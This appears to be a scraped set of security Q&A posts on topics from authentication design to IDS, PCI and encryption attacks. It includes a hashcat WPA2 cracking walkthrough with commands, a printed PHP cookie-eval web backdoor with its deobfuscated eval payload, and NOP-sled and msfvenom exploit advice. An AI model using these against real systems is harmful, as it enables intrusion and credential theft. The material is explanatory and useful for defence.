Unique Touchscreen Authentication Schemes I am working on a new software application that will have access to millions of patient medical records.  I want this to be secure.

The initial thought process was to simply use a standard username and password scheme.  The problem I see with this is that all of our users will simply use the same username/password combo they use on every other site.  This seems like a big security risk.

This led me to start thinking about alternatives to username/password that meet the following criteria:

Quick to enter
Highly secure
Easy to remember
Unlikely to be shoulder-surfed.
Does not require any additional hardware (biometrics, cards, etc.)
Is relatively easy to implement

What I am currently working on is this:

The user must enter a 4-digit pin, followed by a pre-selected pattern of 4 icons.

Each time, they are presented with a grid of 36 icons that are randomly shuffled every time they see the grid.  The icons are always the same, but they are in different locations.

The user has to choose their series of 4 icons, in order, from the grid.

With a 4-digit pin, that is 10,000 possible combinations.  Added to a specific 4-icon series from a set of 36, we result in:

10,000 * (36 * 35 * 34 * 33) = 14,137,200,000 possible outcomes.

Does this seem like a reasonable solution for securing an application?  What are the flaws in this plan?

Some thoughts:

I would look to the Blackberry 10 lock screen for inspiration. They are already doing something very similar; as far as I've used it, you set up a number (say "9") and a point on your background image (say the center of the padlock). At login you are given a randomized grid of numbers then, by grabbing anywhere on the screen, you drag the grid of numbers so that any "9" lines up with the center of the padlock. This nicely protects against shoulder-surfing - even if they can look at the finger smudges after - since they have no idea which number you lined up with which point in the image.

Since your question has strong User Experience / User Interface vibes, you may want to also post a similar question in the User Experience Stack Exchange.


What are the dangers of advertising my MySQL-powered amateur site? I recently started server-side programming, and wrote up a page containing a drawable-canvas that lets users publically draw and save a picture, and overwrite pictures made by others.

For kicks, I thought of advertising the link on social media to see what happens. I'd rather not put my computer in harm's way though just for kicks.

My main concerns are someone being able to access the rest of my system, or being able to delete files off the site.

Are either of these a concern?

Quick information about the setup:

I'm using XAMPP 7.0.1 on Windows 10 Home. Besides putting a password on my MySQL server, I really haven't done anything security oriented, so it could be considered in an "out-of-the-box" state as far as security is concerned.
It uses a MySQL database and PHP's MySQLi library, but as mentioned above, I have it password protected, and have taken care to prevent injection.

Oh my. YES! All those things are of a concern. You only expose your server publicly if you are prepared to have that server taken over by a malicious party.

All one needs to do is to find a misconfiguration or a security hole and they can own your personal computer that you use to do things like access personal accounts (email, banks, etc.).

Public servers need to be locked down, with only the info it needs to provide a service. Best case is to have that server backed up and disposable in case it is compromised. If something bad happens, you blow it away and restore from back ups.

Do not expose your personal computer to the public in this way, especially when you are exposing custom code and you do not understand how exploitable it is.


ASUS RT-AC68 login page is redirecting to some Amazonaws page? Has my ASUS router been hacked or just glitchy?

When I tried to login to 'router.asus.com' it would redirect to "[censored just in case].us-west-2.compute.amazonaws.com/find/device.html" and it said that I would have to connect to the router directly through WiFi or Ethernet instead of through a repeater? (This was after I disabled my VPN)

I tried resetting it multiple times, but I couldn't seem to login after the initial (re)setup process after copying and pasting my new randomly generated password.

Now, I am aware that WPA2 is vulnerable to brute-forcing, but even if they could brute force my WiFi password, I thought the ASUS login password couldn't be brute-forced? I remember disabling WPS, so how did they get in (if this was a hack)?

Also - why would a hacker disable the router login screen - wouldn't that just make the owners aware that something might be wrong?

UPDATE: okay so after spending two hours trying to figure it out, it seems like the altered state only happens after a specific windows machine (normally connected to the router) logs in. After spending two hours trying to reset it multiple times, it seemed to stay fixed. Then the next day maybe twenty hours later, I realized that the login screen was disabled again.

Does anyone have a shop they could recommend to check to see if my router firmware was modified?

Your router is just glitchy.

"router.asus.com" returns a 301 redirect to "ec2-54-202-251-7.us-west-2.compute.amazonaws.com/find/router.html" (at least for me; it may redirect to other Amazon datacenters for people in other locations), a website hosted on Amazon's cloud.

The website itself appears to attempt to find your router's IP address by making connections to 50-someodd domains such as ""rt-n10pv2" or "findasus.local", and counting on the router's DNS resolver to intercept the request.  This is rather fragile, as any change to the default DNS settings can break it.


Is anyone held responsible if a VPN/proxy that doesn't log is used for illegal purposes? How do the anonymous VPN services work? It’s my understanding that if an internet connection is misused for something (such as downloading copyright material or hacking a network etc) then the person who is registered to use the IP address is held responsible, even if it wasn’t him. This is why it’s important to secure your network.

I mean if I owned two computers and set one up as a proxy server that didn’t log and used it to do a bunch of illegal stuff, if the authorities got involved would it be a valid defense that the proxy server has no logs so they can’t press any charges on me? This seems to be how the anonymous VPN services work. I mean, what happens to them if their network was used to hack something, does the service provider get charged with the crime?

Short answer: No, that would not be a valid defense.

Let's say you penetrate a site. The site views your IP and reports you to the authorities. They then ask your ISP who had that IP at that time, and will be directed to you. That's a lot of evidence to suggest that someone from your home and/or network hacked the site. Saying it wasn't you because your local proxy doesn't keep logs is like saying you can't have done it because you cleared your history.

The anonymous VPN services are often hosted offshore, out of reach of the authorities, and not in the same network as the attacker. :P


Should I change my built-in Administrator password? I had never thought much about this until the only account on my home PC somehow lost admin
privileges (changing to guest - I suspect this is a Microsoft bug but will probably never know).
So, eventually, I solved this problem by doing a safe boot, logging in with the never-before-used
built-in "Administrator" account and its blank password, and then making my real account an
administrator.

Since it seems that anybody can safe boot my computer (e.g., from the off state by booting and
cutting the power three times in a row), I guess I need to change my Administrator password,
right?  If I don't change it, even if I encrypt my hard drive, this Administrator has access to
all my files, right?

It seems Windows 10 should at least have told me something like "The built-in Administrator
password is blank - Would you like to change it?" to give me a conscious decision when I first
bought this computer, so I'm doubting myself...am I making some sort of mistake about how
serious this is?

The default built-in admin account for home users has no password by default, but the account is also not enabled by default.

You can get to it if you have physical access to the machine, but if you have that, then you have access to everything. That's why full drive encryption is so important, because it prevents access to Windows, and therefore blocks access to the Admin account, too.


Many-time pad on image data, how to proceed? I have raw image data that is XOR-encrypted with a fixed-size one-time pad repeated over the length of the image. I know what the format of the image data container is so I can successfully retrieve the first 6 bytes of the key.

But that's it so far, I have no idea how to proceed.. Are there relations between adjacent pixels? Has any research been done on the subject, and if there is, how? I've searched for hours to no avail.

EDIT

The file is a Windows BMP image (BM magic number) with a BITMAPINFOHEADER. That's why I can correctly guess the first 6 bytes and a few more bytes in between.

The key is a stream of 337 bytes generated by a PRNG, more specifically, Mersenne Twister. So the key could be considered random for now.

Right now, all I'm left with is, well, XOR difference between two lines in the image. There is a pattern, I just don't know what to make of it exactly.

You have a 337 byte key that's repeated ad nauseum and then XORed with all the bits of a image file.

You can probably exploit some factor of the BMP, like how it has Padding (at the end of each row of the pixel data so each row is a multiple of 4 bytes and typically would be zero.  So you could guess image height/widths, find where the padding would be, and then set the bits of the key at those places.

There maybe other properties of the image you can exploit; e.g., sparsity under a sparisfying transform (similar to compressed sensing), and can tweak each bit to see if leads to a better image.


Will 2FA protect me if there is a password breach? Long story short, I'm not particularly concerned about an attacker stealing my password when I log in to a website. I don't usually log in on untrusted networks, and when I do I make a point of double-checking SSL certificates. I never keep my passwords on my computer. I always log out of websites on my laptop, which is the only computer that leaves my home. And so on.

So the only real way I can see an attacker gaining access to an online account is by either:

Brute-forcing my password through a login page.
Getting access to a password database from the targeted website.

In the former case, I understand how 2FA will protect me. But will it protect me in the latter case? Similarly, what about public key authentication (not 2FA, but there's no password to leak)?

It depends on what exactly was breached

If the breach is just user names and passwords, then 2FA does indeed protect you in this case.

However, if the attacker can extract passwords, who knows what else they can extract? One-time passwords are based on a secret key shared between the client and server. If the breach allows an attacker to extract the secret keys, they can then generate fake OTPs, so 2FA does not protect you.

It is good practice to hash passwords before storing in a database, which provides some protection in case of a breach. It is not possible to hash the secret key for a OTP - the server needs the original secret key to verify the submitted OTP. Because of this, it is good practice to have a dedicated microservice for OTP verification. If the main application is compromised, hopefully the microservice will not be.

Public key authentication

In this case the server only has the public key. A server breach cannot reveal the private key. In the case of a read-only database breach, an attacker cannot then login as you. However, if there was a read-and-write breach, an attacker could overwrite your public key with their own, and proceed to impersonate you.


Comparison between WAF and IPS/IDS I would like to know the difference between WAF and IPS/IDS?
Can IPS/IDS handle an attack on a web application?
If there are differences functionally between the two applications, how they work together when there is an attack?

As @schroeder says, the largest difference is where they sit in the stack.  Let's talk about that difference.

The Web Application Firewall works at the Application layer.  That implies that it is dealing with the data stream, not the network stream, after it's been received by the host.  As a result, it's usually applied after decryption*, so it's got full access to the request and response header and body.  And a WAF can generally be expected to focus on application-specific signatures, more so than an IDS/IPS.  WAF is also more likely to look at things like JSON or XML format validation; looking for things that aren't right instead of just looking for things that are wrong.

The IDS/IPS, on the other hand, operates at the network layer.  While decryption is possible in some configurations, it is not assumed, the way that it is with a WAF - and if there's no decryption, the IDS/IPS may be largely blind to Web Application attacks.  The IDS/IPS is able to analyze all the network layers, allowing it to look for things like fragmentation attacks that a WAF will never see.  And because the IDS/IPS is expected to watch all traffic, it's not limited to web application protocols, but has a much broader spectrum of signatures.  By extension, it may not have as detailed a set of Web Application signatures as a WAF.

The two technologies are intersecting sets - in an attack, some traffic will trigger both the WAF and the IDS/IPS; some will only trigger the WAF; some will only trigger the IDS/IPS.  (And some will fly past both with flying colors - who says there ain't no easy run?)

*Sometimes the WAF is on the actual application server; sometimes it's a man-in-the-middle device.  Either way, it will decrypt before analysis, and re-encrypt afterwards if it still has a hop to go to get to the box.


Safely disable firewire/thunderbolt, patching up DMA exposure I understand that Firewire 400/800 and Thunderbolt have DMA enabled, and a malicious hardware device can easily read and manipulate system memory at will. If I disable the software drivers for these devices, would that prevent such reading/writing? Or is the only way to protect against DMA by desoldering the controller or injecting epoxy in the ports?

Disable both interfaces in BIOS and then password protect the BIOS configuration. Additionally, remove the drivers/modules from kernel for both. Also mind, that DMA attack is possible through ExpressCard interface that many notebooks have. One of the more drastic measures is to fill the ports with silicon gel (or similar) or unsolder them (greater chance to damage something if you are not experienced).

https://en.wikipedia.org/wiki/DMA_attack


Security of Log Files - Injecting malicious code in Log files As part of my course project I'm trying to understand various security frameworks and best practices.

One of the very popular approach is to maintain Logs. My question is about the security of the log file itself. Since most of the logs provide a clear trace of how the application handles errors, how secure is a log file?

Can a hacker inject malicious code in a log file? What are the ways to secure a log file if it creates a vulnerability (May be encoding, but then how effective it can be)?

Lastly, is it worth spending huge amounts of time, energy and money on securing logs?

Yes,  log file injection can be useful in the exploitation process.  For example,  here is an exploit that uses a PHP Local File Include vulnerability to execute PHP code within Apache's access_log file.   This exploit pattern is common in the LAMP world.

Most systems lack protection against this attack pattern.  Usually log files are protected by the operating systems file access controls.  AppArmor and SELinux can prevent a process from accessing an arbitrary file or directory. PHP's open_base_dir can prevent PHP from including files outside of the application directory.

Remote Logging is a great solution to both Local File Include Attacks,  as well as the threat posed by an attacker compromising the machine and manipulating the log file to hide her tracks.


VM hypervisior that doesn't leak that it's a VM to the guest? I need a VM Hypervisor that will not leak to the guest that its in a VM. The guest should believe its on a full physical machine.

Apparently VirtualBox fails at this, along with Virtual PC and VMWare. Before I dive into monsters like Xen, is there any hyperviosr that can do this?

Xen, by definition, is virtualized. It assumes a specific guest code for the operating system kernel. It does not try to hide the presence of virtualization, it actually advertises it plainly. This is not the VM you are looking for.

A fully invisible hypervisor is theoretically feasible, but not cheap. The problem is with timing. An hypervisor works by being able to intercept some "sensitive operations", notably related to memory access, and alter their behaviour. The alteration is done with software, which can effectively remain hidden by blocking some memory accesses, emulating an absence of RAM instead. However, such an interception takes a bit of time: handling of an intercepted memory access will use some extra clock cycles over what a non-intercepted call on "raw hardware" would do. Since code can access a clock with clock-cycle precision (not accuracy) through the rdtsc opcode, interception can be detected. Unless the rdtsc opcode is also intercepted, to make it "slower".

In effect, our invisible hypervisor can remain invisible only by "slowing down" the virtual machine, so that it gets enough hidden "extra cycles" for its interceptions. So the guest OS must:

either have access to no external time source (and, if the guest OS has some network, it can access external time sources);
or believe that the hardware is clocked at a lower rate than what the physical hardware really runs at.

As an extreme case, consider emulators. Emulators for older, 1980s-era systems can have clock-cycle accuracy, i.e. make the emulation so perfect that the code running in it is not capable of detecting that it does not run on the genuine hardware. But they can do that only by throwing a lot of computational power at it; the overhead is tremendous (we are talking about a 10x or 20x loss of computing power here). Moreover, emulating timing effects for an Atari ST is a relatively simple task because there is no cache in such a machine.

The Blue Pill is a demonstration of such a so-called "invisible hypervisor", and it generated some hot debate (as they say, "with more heat than light"), mostly because there is no equality between skills at assembly system programming, and capacity to explain things to other people with pedagogy and serenity. Nevertheless, the "blue pill" should be detectable, although finding actual code which does it, published on the Web, might be challenging.

An interesting point raised by the blue pill developer is that hypervisors are supposed to become mainstream and "normal", so that the presence of an hypervisor should not, in the long run, indicate that virtualization is occurring. It is conceivable, and even probable, that future operating systems will always activate an hypervisor upon boot time, so detecting that virtualization is in place would no longer indicate possible foul play. We have not reached that point yet, though.


PCI Compliance for developers accessing a production database for support As a developer, when an Incident comes in and reaches Tier 3 support (The development team), how can the developers get access to query the Production Database, while remaining PCI Compliant? I'm admittedly a newbie when it comes to PCI Compliance. Is this just a case of Read-Only accounts? Is this a case of data masking? Is this a case of having a Production copy within Production so devs can't hit a "Live" db? What's the easiest, and compliant way for developers to be able to perform application incident support in production?

DSS 6.4.2 Separation of duties between development/test and production environments is careful to note that it is not prohibiting developers from Production, just controlling them:

The intent of this requirement is to separate development and test
functions from production functions. For example, a developer may use
an administrator-level account with elevated privileges in the
development environment, and have a separate account with user-level
access to the production environment.

So restricting privileges is a good start - read only access where possible, limited administrative rights enforced with something like sudo or PowerBroker as necessary.
Aside from restricting privileges, a standard way of dealing with this would be to use Incident and Change Control processes to document why any given developer was acting in Production at a given point of time, and to generate an audit log that can be used to evaluate what actions were taken in the time/place covered by a ticket.  Remember, at some level, you want to be able to walk the auditor through your controls.
If your workflow permits it, dual control can be a useful restraint upon developers, ensuring that a second pair of eyes is monitoring the activity.  That can be difficult to arrange; developers get called into Production emergencies because they're, well, emergencies, and not neatly scheduled.


How do I bruteforce a WPA2 password given the following conditions? I'm trying to brute-force my own WiFi, and from my own research, I know that all default passwords for this specific model of router I'm trying to hack follow the following rules:

password length = 8
The character set [a-zA-Z0-9]
Each character can only be used once in the password
A minimum of 2 lowercase, 2 uppercase and 2 numbers are present.

Examples of possible passwords: r3wN4HTl, 5j3Wkl5Da, etc...

How can I proceed with this brute-force, how many combinations will there be, and what would be the estimated time to successfully crack the password?

If we assume that your passphrase was randomly generated (not influenced by human selection factors), then some basic math and a couple of tools can get you most of the way there. Your restriction #3 (each character can be used only once) is the harder one, but probably wouldn't really reduce the total combinations space very much, so I recommend setting it aside for now.

Capturing the complexity

First, take a look at the policygen tool from the PACK toolkit. You can generate a set of masks that match your length and minimums.

You can also inform time estimation using policygen's --pps parameter.
This tells policygen how many passwords per second your target platform can attempt.

For example, if you have a GPU similar to my GTX 970 SC (which can do 185 kH/s for WPA/WPA2 using hashcat), you'll get something like the following:

$ policygen --pps=185000 --minlength=8 --maxlength=8 \
  --mindigit=2 --minlower=2 --minupper=2 --maxspecial=0 -o test.masks
                       _
     PolicyGen 0.0.2  | |
      _ __   __ _  ___| | _
     | '_ \ / _` |/ __| |/ /
     | |_) | (_| | (__|   <
     | .__/ \__,_|\___|_|\_\
     | |
     |_| iphelix@thesprawl.org

[*] Saving generated masks to [test.masks]
[*] Using 185,000 keys/sec for calculations.
[*] Password policy:
    Pass Lengths: min:8 max:8
    Min strength: l:2 u:2 d:2 s:None
    Max strength: l:None u:None d:None s:0
[*] Generating [compliant] masks.
[*] Generating 8 character password masks.
[*] Total Masks:  65536 Time: >1 year
[*] Policy Masks: 2940 Time: >1 year

$ wc -l test.masks
2940 test.masks

The resulting set of 2940 masks covers the set of all possibilities that match your constraints.

Estimating the time

Notice that policygen estimates the time to be more than 1 year. For closer estimation, you may not be able to predict when your specific passphrase would be cracked, but you can establish an upper bound and an average (half of that upper bound).

Using hashcat's maskprocessor tool, you can get the total number of combinations for a given mask. Running that against each mask, and summing the results:

for mask in `cat test.mask`; do \
    mp64 --combinations $mask; done \
    | awk '{s+=$1} END {print s}'

... yields the following number:

5.84746e+13

or roughly 58474600000000 combinations. Assuming 185,000 hashes per second, that's (5.84746e+13 / 1985000) / 60 / 60 / 24 = 340,95 days, or about one year to exhaust the entire keyspace. The average passphrase would be cracked within half a year (half of time needed to traverse the total keyspace).

Of course, this time estimate is tied directly to the compute power available. As you add more GPUs to the mix, performance will scale linearly with their performance.

Starting the attack

To try to crack it, you would simply feed your WPA2 handshake and your list of masks to hashcat, like so. Note that this rig has more than one GPU.

$ ./hashcat -w 4 -a 3 -m 2500 [your-wpa2-hccapx-filename] test.masks

hashcat (v3.5.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2028/8114 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2028/8114 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2028/8114 MB allocatable, 20MCU
* Device #5: GeForce GTX 970, 1009/4037 MB allocatable, 13MCU
* Device #6: GeForce GTX 970, 1009/4037 MB allocatable, 13MCU

OpenCL Platform #2: Advanced Micro Devices, Inc.
================================================
* Device #7: AMD FX(tm)-8350 Eight-Core Processor, skipped.

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD

Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger disabled.

[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit =>

Session..........: hashcat
Status...........: Running
Hash.Type........: WPA/WPA2
Hash.Target......: 8381533406003807685881523 (AP:ae:f5:0f:22:80:1c STA:98:7b:dc:f9:f9:50)
Time.Started.....: Sun Apr  9 07:30:31 2017 (1 sec)
Time.Estimated...: Sun Apr  9 08:08:54 2017 (38 mins, 22 secs)
Guess.Mask.......: ?d?d?d?d?l?l?u?u [8]
Guess.Queue......: 1/2940 (0.03%)
Speed.Dev.#1.....:   401.7 kH/s (403.50ms)
Speed.Dev.#2.....:   402.4 kH/s (405.15ms)
Speed.Dev.#3.....:   405.4 kH/s (402.24ms)
Speed.Dev.#4.....:   403.3 kH/s (400.39ms)
Speed.Dev.#5.....:   187.0 kH/s (283.22ms)
Speed.Dev.#6.....:   185.3 kH/s (285.72ms)
Speed.Dev.#*.....:  1985.0 kH/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 0/4569760000 (0.00%)
Rejected.........: 0/0 (0.00%)
Restore.Point....: 0/456976000 (0.00%)
Candidates.#1....: 1234maMA -> 1618pqAN
Candidates.#2....: 1218pqAN -> 1667yzMA
Candidates.#3....: 1242yzMA -> 1631tgBA
Candidates.#4....: 1771seGO -> 1558paAN
Candidates.#5....: 1784jaAN -> 1816blON
Candidates.#6....: 1261tgBA -> 1523reGO
HWMon.Dev.#1.....: Temp: 63c Fan: 90% Util:100% Core:1822MHz Mem:4513MHz Bus:8
HWMon.Dev.#2.....: Temp: 55c Fan: 90% Util:100% Core:1809MHz Mem:4513MHz Bus:4
HWMon.Dev.#3.....: Temp: 56c Fan: 90% Util:100% Core:1822MHz Mem:4513MHz Bus:16
HWMon.Dev.#4.....: Temp: 50c Fan: 90% Util:100% Core:1822MHz Mem:4513MHz Bus:4
HWMon.Dev.#5.....: Temp: 54c Fan: 60% Util:100% Core:1379MHz Mem:3004MHz Bus:1
HWMon.Dev.#6.....: Temp: 58c Fan: 60% Util:100% Core:1366MHz Mem:3004MHz Bus:1

hashcat will start working through your list of masks, one at a time. Since policygen sorts masks in (roughly) complexity order, the fastest masks appear first in the list. So each mask will tend to take (roughly) more time than the previous ones.

You'll probably not want to wait around until it's done, though. :)


Drupal server compromised - I want to investigate the attack technique / compromise I've got a drupal site running on an up to date CentOS 7 LAMP AWS EC2 instance (freshly installed a couple of months ago) and I've just found out that somehow, probably through a poorly coded 3rd party module downloaded from drupal site and installed without the proper revision, some hacker managed to push what looks like a remote access tool in the site's root directory.

I've also found some obfuscated PHP scripts inside the sites/default folder. I've tried running them through http://www.unphp.net/ but no luck, they all look like rubbish:

http://www.unphp.net/decode/7f42bdb7c2a96a090a9ec4fdbb1e10a1/

So far, apart from these PHP files, everything seems in place, but it bothers me that I don't even know what they do.

Just this one translation-main, seems pretty clear that it is executing code from cookies:

<?php if(@$_COOKIE['ox']){$blft=$_COOKIE['ox']("",@$_COOKIE['mwov'](@$_COOKIE['lks']));$blft();}?>

What should I do now? Is there any way I can deobfuscate the code and monitor the hacker(s) activity? I am more interested in learning from this case as much as I can than in securing my server as soon as possible, since there is nothing private or valuable on it.

How this question is different:

I don't care about securing my data

I don't care about finding the attacker

I don't have clients to notify

The passwords and certificates I have used on this server are unique for the server and I have not logged onto any other server from it.

I don't need to stop any hacker, or even disconnect my server from the Internet. I have done it just in case, at least until I have examined the server in detail and concluded I can monitor any further activity, or decided I just have to reinstall.

I have specifics from the kind of attack. It's not: Oh no! Somebody did something in my server! It is: somebody put THIS in my server and I know it is a remote access tool and I have been trying to learn more about it but I am stuck. Can anybody help me figure out how to learn more about it?

These kinds of back-doors are polymorphic, that is they are designed to look different every time - in practice it's a waste of time trying to decipher them because they all do exactly the same thing.

They take external input and they execute it.

It might take input from a cookie or a post variable, and it might try and set some PHP options to prevent errors being displayed or logged, but the end goal is always the same. They take external input and they execute it.

  What should I do now?

You should proceed to clean up your server, patch the vulnerability and move on.

  since there is nothing private or valuable on it

If that's the case then I strongly encourage you to terminate the instance and spin up a new clean one.

  I am more interested in learning from this case as much as I can

I doubt there'll be anything significant to learn or which would help you prevent the same thing happening in future. At best you'll end up seeing some generic code to send Viagra spam, at worst you'll end up hosting something like a phishing page.

Unless you can be very very sure that their code is isolated I wouldn't unnecessarily give them any opportunity to run code on your system. At the least AWS is likely to place restrictions on your account if they detect spam coming from one of your instances.

TLDR; It's not worth it. It'll just execute code remotely and they'll use it to send spam. Replace the instance with a fresh one ASAP.

If you really want to know what this specific code does then the process of deobfuscating them is always the same.

Run the code through a code formatter
Find all the function calls, eg. you can see $amwve = $zgxovk($xeyb, $wbjo); is a function call.
Replace the function call line with an echo for each variable followed by an exit();
Repeat this process as you work your way through the script figuring out what each of the variables hold at each step. Most of the variables will be superfluous and just there to confuse you.
Eventually you'll find the bit which contains the actual code to take input and execute it.

Always do this in an isolated environment, I'd recommend an online PHP interpreter. You may have to remove a few function calls which are blocked such as ini_set.

In your case, if you get down to $wbjo and echo it you'll get this:

$bzg = (!empty($_FILES["imi"])) ? file_get_contents($_FILES["imi"]["tmp_name"]) : $_COOKIE["imi"];
$qnlzja = (!empty($_FILES["vfsm"])) ? file_get_contents($_FILES["vfsm"]["tmp_name"]) : $_COOKIE["vfsm"];
$pjgtk = base64_decode($bzg) ^ base64_decode($qnlzja);
@eval($pjgtk);

Which as you can see is taking two base64 encoded files, XORing them then eval'ing the result. The XORing is just so that firewalls and WAFs have a harder time identifying that the file being uploaded is malicious.


Different MySQL Users Security Benefits Anyone with a brain cell knows that using a user that isn't root/dbo/etc adds a lot to security and how effective SQL injection attacks can be. I'm wondering if taking that idea a step further is a good idea.

The basic idea is simple. For guest-like actions (viewing) use a 'guest' user on the database which only has the permissions to select things. For user-like actions (adding/editing), have a 'user' user, which only has the permissions to run insert and update queries. As well as that, also include a third user with 'admin' like actions, for delete abilities.

NB: This has been simplified to just cover basic CRUD abilities

Pros:

Theoretically added security through permission limits.
Forces the CMS to be secure to prevent impersonation/replay attacks.

Cons:

Complicated code within a CMS (which is what I'm thinking about using this feature in).
Forces the CMS to be secure (which will not always be achievable)

My question is this:
Is there any security benefit to separating out roles and permissions this way, and if so, do the benefits of doing this justify more complicated code to force a user switch depending on an action?

For example's sake, let's just say that the check to see if I switch users is only an if-statement away, and if that statement fails, then the user isn't allowed to do whatever action anyways so the switch doesn't happen in the first place.

In theory this kind of thing should always help (principle of least privilege) and can't really hurt, but if in practice you wind up with a CMS middle tier holding all the credentials anyway, then it may not help much or at all.

An alarm bell is that you are thinking only in terms of SQL injection. The principle of least privilege is so fundamental it should be buying much more protection than that, it should be covering off entire avenues of attack and whole classes of vulnerability, not just one.

Whether or not there is any real benefit I think depends on whether you can (for example) also point at a machine and say 'this machine only ever has 'guest' privilege', etc. In other words, when you look beyond the database, is the argument for the contribution of this to the whole system's security equally simple?

If the result is just additional complexity of the CMS then it might actually be counterproductive (i.e. introduction of complexity, tends to result in more bugs, some of which will tend to be security holes in their own right especially if the bug is in juggling permissions). So another alarm bell is that you seem to foresee a tangle of code in the CMS. This may or may not be necessary however - can you do it more simply?


Trying to land a shell on a remote service Here's the scenario, part of a wargame/CTF type exercise. There is a vulnerable program running as a service on the remote host. I have access to a copy of the binary, which has a stack overflow from an unchecked scanf.

I am able to trigger the overflow and execute code, but I'm having trouble figuring out what to use for the return address. If I run the binary on my test machine, I can successfully get a shell only if I know roughly the address of my shellcode on the stack. At the time of the overflow, none of the registers contain the location of the shellcode. My thought was that I should be able to brute force the return address, but that hasn't been working on either my test instance (ASLR disabled) or the remote service (ASLR status unknown).

Try to get as much information about the remote machine as you can and match it on your test instance.  The remote machine is probably running a slightly different version of the OS such as a different release or patch level or sometimes even language pack that could throw off the addresses.  There could also be a difference of 32bit vs 64 bit.  Using a return address thats inside the application's own code/data section can help with that as well.

If your test instance matches the target's software perfectly, then if you had to disable ASLR on the test instance manually then theres a good chance its enabled on the target.

Also, try using a large NOP sled (string of 0x90 or no-operation instructions) so that you don't have to have the exact memory address.  You could be off by some number of bytes but as long as you land in the sled you'll hit the shellcode.

Good luck!


Difference between NIDS and NBA I'm having trouble understanding the difference between NIDS (Network-based Intrusion Detection System) and NBA (Network Behavior Analysis)

It is to my understanding that

NIDS use two detection methods :

Signature-based detection
Anomaly-based detection

and NBA use one detection method :

Anomaly-based detection

Both use network "Anomaly-based" detection and both analyse the same kind of sample (packets). Note that NIDS also has a Signature-based detection. Is NBA just a lighter version of NIDS or is there a difference in the way it does Anomalyse-based detection ?

NIDS are designed to inspect the network at certain points, like at ingress/egress points in the network. Its focus is intrusion. Yes, there are signature rules and there are anomaly rule sets, but they focus on the point where traffic passes the NIDS inspection point.

NBA looks at the network. It's looking at bandwidth and protocol use and other factors across the network. It can gather data from across all network devices and work out what is weird/unusual.

And, as per usual in this field, definitions will mutate and change over time as both technologies start to "meet in the middle" and do each other's jobs.


Msfvenom new formats ? can someone explain to me the difference between  exe, exe-only, exe-service, exe-small   and  msi, msi-nouac in msfvenom  when generating payload for  privilege escalation ?

thanks .

They are just different wrappers for Windows ShellCode:

exe : standard PE format for Windows
exe-only: not sure on this on, never used it...
exe-service: runs as a service instead of a process
exe-small: creates smallest version of ShellCode (may include bad chars). Used for tight buffers
msi: wraps an executable in an MSI for auto execution when run
msi-nouac: MSI with no UAC


Can OS protect us from backdoored CPU? I was wondering if O.S. can act in such a way to hide from CPU what it is doing? I know that everything is computed only in CPU, but O.S. decides what that is, and keeps track of file system, etc.
For example, CPU would not know if data it is processing is video streaming or web browsing, or encryption. And I am not referring here on homomorphic encryption (zero knowledge computing on encrypted data), but zero knowledge computing on actual data.

The CPU is where the code is executed so, no, you can't "hide" processing from it. At least, not if you have just a single CPU.

But if you have additional processing units that you can program in a safe way, then you can protect some processing from the machine's CPU.

Smartcards are an exemple of such offloading: they are programmed in advance with the keys that will let them do their job. Later, they can be inserted into untrusted system and still maintain the integrity of process they were designed for. For instance, you can use a smartcard to store a RSA private key and allow the smartcard to be used from an untrusted computer while still retaining reasonable trust that these keys haven't been leaked.


Can active attacks really decrypt a particular AES-256, CBC, PKCS#7 encrypted file? I recently found out that active attacks are a threat against AES-256, CBC mode, padded with PKCS#7 (the CBC mode in particular. I should supposedly change to EAX to guard against these attacks).

However, I'm confused about whether such attacks are effective against a particular encrypted local file that a cracker has obtained. (Indeed, if AES-256, CBC, padded with PKCS#7 is secure, a cracker's possession of such a file shouldn't have to be a case for concern in the first place).

In my internet browsing I found out two kinds of active attacks:

Data tampering: Here, the cracker sends a modified ciphertext to some "system" (e.g. a web site). This could e.g. change a $1 bank transaction into a $1000 transaction.

I can't see how this would be useful against a local file, because there is no "system" to which we send any data. The cracker modifies the local ciphertext and that's it. He has nowhere to send it to.

Actual decryption of the entire plain text: Here, the cracker will supposedly use something called a "padding oracle". This method relies on the "system" (e.g. a web site) to make a distinction between invalid ciphertext and a valid ciphertext (ciphertext that is decrypted into garbage). For instance, the invalid ciphertext can produce an exception, but the valid ciphertext can produce an "incorrect login".

Again, does this really pose a threat to local encrypted files? There is no "system", no login page etc., that tells us whether the ciphertext is "correct" or "incorrect".

All this confuses me. Are active attacks really useful against particular local encrypted files in CBC mode? In particular, is the "padding oracle" useful against encrypted files that used PKCS#7  padding?

A file which has been encrypted will be, presumably, decrypted later on (otherwise, what was the point of encrypting it as opposed to, say, deleting it ?). Active attacks of the chosen-ciphertext persuasion alter the encrypted data and try to gain information from what happens when the decryption occurs.

Padding oracle attacks are a specific kind of chosen-ciphertext attack, where the information which the attacker wishes to obtain is whether a correct padding was found upon decryption of his maliciously crafted file. Chosen-ciphertext attacks are not limited to games with the padding, but this kind of attack has been applied in practice against SSL servers.

Chosen-plaintext attacks are another kind of active attacks in which the attacker chooses part of the data which is to be encrypted. This occurs at another level in the whole system.

Active attacks, by definition, suppose that an "honest system" (one which knows a secret value that the attacker would like to obtain) acts upon some data which has been at least tampered with by the attacker. An honest system is necessary for active attacks, because there is of course nothing to be learned from a system which knows nothing. In the full life of data through an encryption system, there are two points where an "honest system" uses a secret element (the key) in conjunction with the input data: when encrypting and, later on, when decrypting. Both events are potential targets for active attackers.


Bank complains about rooted Android. Is it really any worse than a Windows desktop? When I use my bank's Android application, the app notices that my phone is rooted and puts up a message with a big red "danger" symbol and a message saying "vulnerable device." I totally understand that they do this, because financial institutions always like to be on the safe side. The bank can then say "We warned you!" if someone with a rooted device gets their online banking compromised.

Now, I realize that my phone is less secure than a non-rooted Android device. I believe everyone will readily agree with this. (How much less will obviously depend on many things.)

